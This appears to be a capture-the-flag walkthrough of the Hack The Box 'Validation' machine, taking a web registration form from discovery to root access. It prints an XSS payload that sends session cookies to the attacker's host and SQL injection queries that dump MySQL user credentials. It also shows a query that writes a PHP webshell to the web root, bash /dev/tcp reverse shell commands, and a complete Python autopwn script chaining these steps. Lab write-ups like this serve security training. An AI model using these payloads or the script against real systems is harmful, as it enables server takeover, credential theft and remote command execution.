# Validation

**Date**: 15/06/2022

**Difficulty**: Easy

**CTF**: <https://app.hackthebox.com/machines/Validation>

***

Let’s start testing the connection with the target machine:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-f49703ad981381763886a0427dc896a2a6b21e5c%2Fvalidation0.png?alt=media" alt=""><figcaption></figcaption></figure>

Now, let’s scan the TCP Ports of the target machine:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-8dcd221a576fb3ebf2dafd2b003d967f987cd339%2Fvalidation1.png?alt=media" alt=""><figcaption></figcaption></figure>

There are 4 open ports: 22 (ssh), 80 (http), 4566 (kwtc), 8080 (http-proxy).

Let’s try to gather more info of the services running in these ports:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-dace0e638089cd72930c856fa4447caace7ec26b%2Fvalidation2.png?alt=media" alt=""><figcaption></figcaption></figure>

The port 4566 doesn’t seem to be a kwtc service…

Let’s do a whatweb scan on the http services ports:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-c62bc04cae54a170456e878a99903b52268b5427%2Fvalidation3.png?alt=media" alt=""><figcaption></figcaption></figure>

Ok, let’s see how the website hosted on port 80 looks:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-446b3e52271124bc574928c864f75865a6ba4d68%2Fvalidation4.png?alt=media" alt=""><figcaption></figcaption></figure>

A simple form where you can input a username, select a country and add your entry clicking on Join Now button.

Let’s do a test using angellm as username and Spain as country.

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-91463a1d9400991e554ce3cfd038ab8783745fb3%2Fvalidation5.png?alt=media" alt=""><figcaption></figcaption></figure>

The website displays it now. Interesting. Let’s try some payloads…

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-70075be5e170ee9b8312545077c52d05997d83f4%2Fvalidation6.png?alt=media" alt=""><figcaption></figcaption></figure>

Ok, it seems to be vulnerable to XSS.

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-64756ee21ff3b1c757a23bc6e01e5fd96b9d41e1%2Fvalidation7.png?alt=media" alt=""><figcaption></figcaption></figure>

The website is setting a cookie… Maybe we can use the XSS to try to grab the session cookie?

Th`<script>fetch('http://10.10.14.234?cookie=' + btoa(document.cookie) );</script>`

Let’s open a http server in our machine and send the payload:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-1726a4fef825d1217c2bcfc32cab4ba6e440800f%2Fvalidation8.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-460155f012dd258815ca0eef9524ee28bee9ca98%2Fvalidation9.png?alt=media" alt=""><figcaption></figcaption></figure>

I have set the value of the cookie with the one obtained by the script but nothing happened after reloading the page. Let’s enumerate the directories:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-b476fe659fe6336e0d42400e5d7aab4a5db371f2%2Fvalidation10.png?alt=media" alt=""><figcaption></figcaption></figure>

It discovered css and js directories, also discovered a server-status directory we have no permissions to access to.

Let’s enumerate .txt and .php files:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-6a7eedbd019b697ade850517c3b8ed01a488a113%2Fvalidation11.png?alt=media" alt=""><figcaption></figcaption></figure>

The only php file we have not visited yet is the config.php and is empty… Let’s go back to the form.

I will intercept a request and this time I’ll modify the country:

`username=ll&country='`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-cbdd12cc141e129f805557c405a11e36c5c827a3%2Fvalidation12.png?alt=media" alt=""><figcaption></figcaption></figure>

Mmm… fatal error. Sounds good to me. Maybe we have an error based SQL injection? Let’s see…

`username=ll&country=' UNION SELECT 1 -- -`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-966a0ebaf2017d205c0bdab005aad339d60cc99c%2Fvalidation13.png?alt=media" alt=""><figcaption></figcaption></figure>

`username=ll&country=' UNION SELECT 1,2 -- -`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-7ecd55d224460742901c6db18924fed0709dd2a5%2Fvalidation14.png?alt=media" alt=""><figcaption></figcaption></figure>

`' UNION SELECT database()--`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-11eeaab5a578586bcd75acabb9fc0cfdb7c761ac%2Fvalidation15.png?alt=media" alt=""><figcaption></figcaption></figure>

The database name is `registration`. Let’s see the tables of that database:

`' UNION SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'registration' -- -`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-01ee073258239d6610f58b296905e8ddaf846096%2Fvalidation16.png?alt=media" alt=""><figcaption></figcaption></figure>

There is only one table called also `registration` let’s find the columns name of the table:

`' UNION SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name = 'registration' -- -`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-215664459390f170177803d250a86eb579958773%2Fvalidation17.png?alt=media" alt=""><figcaption></figcaption></figure>

Very interesting! There are 4 columns: `username`, `userhash`, `country` and `regtime`. Let’s try to extract all the usernames and userhash:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-4b1d8e76375ca5dcda3004ce2bf52bb006775329%2Fvalidation18.png?alt=media" alt=""><figcaption></figcaption></figure>

Mmm… not very interesting, `fff` and `ll` are the usernames I used to test the SQLi, and there is no other username there…

Let’s list all databases:

`' UNION SELECT concat(schema_name) FROM information_schema.schemata -- -`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-c663ffe775193559ba34eed85da050a0f81fe146%2Fvalidation19.png?alt=media" alt=""><figcaption></figcaption></figure>

`' UNION SELECT concat(TABLE_NAME) FROM information_schema.TABLES WHERE table_schema='mysql' -- -`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-12225ad5f4746da11c7fe3dc9411c77d879ae0a3%2Fvalidation20.png?alt=media" alt=""><figcaption></figcaption></figure>

`' UNION SELECT concat(column_name) FROM information_schema.COLUMNS WHERE table_name='user' -- -`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-7df671632a8913ceb806da2e3f53bc680c31ef0e%2Fvalidation21.png?alt=media" alt=""><figcaption></figcaption></figure>

`' UNION SELECT group_concat(User,':',Password SEPARATOR '<br>') FROM mysql.user -- -`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-693c62dce994b254f7340f9f5165b12458eb3e3b%2Fvalidation22.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-3da70e53273cc72defff0088fed51f652e33080a%2Fvalidation23.png?alt=media" alt=""><figcaption></figcaption></figure>

I tried to log in via ssh using that password with no success. Let’s se if we can inject content using the SQLi:

`' UNION SELECT "Prueba de contenido" into outfile '/var/www/html/prueba.txt' -- -`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-b89e91d94226830e4d68a13458bd96f3c2e1ff68%2Fvalidation24.png?alt=media" alt=""><figcaption></figcaption></figure>

Yeah, we can.

Let’s try to upload a php webshell!

`' UNION SELECT "<?php system($_REQUEST['cmd']); ?>" into outfile '/var/www/html/ws.php' -- -`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-a4c4aec9a5c4b8d2d9fc896bf4e7501e4228c68f%2Fvalidation25.png?alt=media" alt=""><figcaption></figcaption></figure>

Now we can send commands as www-data. Let’s try to obtain a reverse shell to operate more easily:

`http://10.129.85.205/ws.php?cmd=bash -i >& /dev/tcp/10.10.14.234/443 0>&1`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-7ec361e8b2b9bb95509fa9c235c19c9da2899e2d%2Fvalidation26.png?alt=media" alt=""><figcaption></figcaption></figure>

We didn’t get a reverse shell. Maybe because it is not URL-Encoded? Let’s try it:

`http://10.129.85.205/ws.php?cmd=bash -i >%26 %2Fdev%2Ftcp%2F10.10.14.234%2F443 0>%261`

Same results. In cases like this one, sometimes it’s necessary to execute the command like this:

`http://10.129.85.205/ws.php?cmd=bash -c "bash -i >& /dev/tcp/10.10.14.234/443 0>&1"`

But URL-Encoded:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-9c33ad9e8aaf309a8617065baa71ecc6d5919783%2Fvalidation27.png?alt=media" alt=""><figcaption></figcaption></figure>

Another way to gain access would be to script an autopwn in python like this one and executing it:

```bash
#!/usr/bin/python3

from pwn import *
import signal, pdb, requests

def def_handler(sig, frame):
    print("\n\n[!] Saliendo...\n")
    sys.exit(1)

# Ctrl + C
signal.signal(signal.SIGINT, def_handler)

if len(sys.argv) !=3:
    log.failure("Uso: %s <ip-address> filename" %sys.argv[0])
    sys.exit(1)

# Variables globales
ip_address = sys.argv[1]
filename = sys.argv[2]
main_url="http://%s/" % ip_address
lport = 443

def createFile():

    data_post = {
        'username' : 'whatever',
        'country' : """'UNION SELECT "<?php system($_REQUEST['cmd']); ?>" into outfile '/var/www/html/%s' -- -""" %(filename)
    }

    r = requests.post(main_url, data=data_post)

def getAccess():
    data_post = {
        'cmd' : "bash -c 'bash -i >& /dev/tcp/10.10.14.234/443 0>&1'"
    }

    r = requests.post(main_url + "%s" % filename, data_post);

if __name__=='__main__':

    createFile()

    try:
        threading.Thread(target=getAccess, args=()).start()
    except Exception as e:
        log.error(str(e))

    shell = listen(lport, timeout=20).wait_for_connection()
    shell.interactive()
```

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-a2d1678db507d4ed56382d48f0f7475d8d993cd2%2Fvalidation28.png?alt=media" alt=""><figcaption></figcaption></figure>

Ok, so we are logged as www-data, let’s see what can be found:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-f5e2565754ebc27ba42d5f943443330d1aca928a%2Fvalidation29.png?alt=media" alt=""><figcaption></figcaption></figure>

Config files sometimes have credentials inside, let’s cat it:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-413092e083fb31dbfe699db3ba77fb2893d0db81%2Fvalidation30.png?alt=media" alt=""><figcaption></figcaption></figure>

Yeah! There are some credentials here.

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-6cea21db2008ef2d14fe6dea0c59e70afaa0d24e%2Fvalidation31.png?alt=media" alt=""><figcaption></figcaption></figure>

Investigating a little more we got the user flag.

Now we have to escalate privileges:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-404e4222700e4e5b254ec68adba8fa10830893a8%2Fvalidation32.png?alt=media" alt=""><figcaption></figcaption></figure>

There is no user named as uhc. Maybe is root reusing the password?

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-4b0b117135919f35ee8b932bb503e70d5c75eac5%2Fvalidation33.png?alt=media" alt=""><figcaption></figcaption></figure>

Yeah, it is. And that’s how we obtain the root flag!
